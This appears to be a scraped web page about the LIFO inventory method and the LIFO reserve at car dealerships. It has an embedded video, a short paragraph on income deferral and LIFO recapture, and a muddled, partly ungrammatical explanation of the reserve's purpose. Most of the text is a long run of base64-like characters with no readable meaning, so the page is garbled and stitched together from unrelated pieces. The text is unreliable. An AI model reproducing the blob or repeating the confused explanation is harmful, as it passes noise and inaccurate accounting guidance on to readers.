<div style='text-align:center'><iframe width='564' height='319' src='https://www.youtube.com/embed/o_7XbpzmpPw' frameborder='0' alt='lifo reserve' allowfullscreen></iframe></div>
<p>Most automobile dealerships value at least some part of their inventory using the Last-In-First-Out (LIFO) accounting method. In periods of rising prices and stable inventory levels, LIFO usually results in a deferral of income by an increase in the cost of goods sold. When prices are falling and/or inventory levels decline, the opposite can happen – that deferral of income reverses; this is known as LIFO recapture.</p>
<h2 id="toc-1">What is the purpose of a LIFO reserve?</h2>
<p>Thus, there exists difference in the inventory valuation under current costs and cost of inventory under LIFO method. The business organization uses different methods for the valuation of inventory but for presentation purpose. Hence, the organization may use FIFO or weighted average accounting and LIFO methods for the presentation purpose. It is nothing but the difference between valuation as per the organisation’s regular methods and valuation as per the LIFO method.</p>
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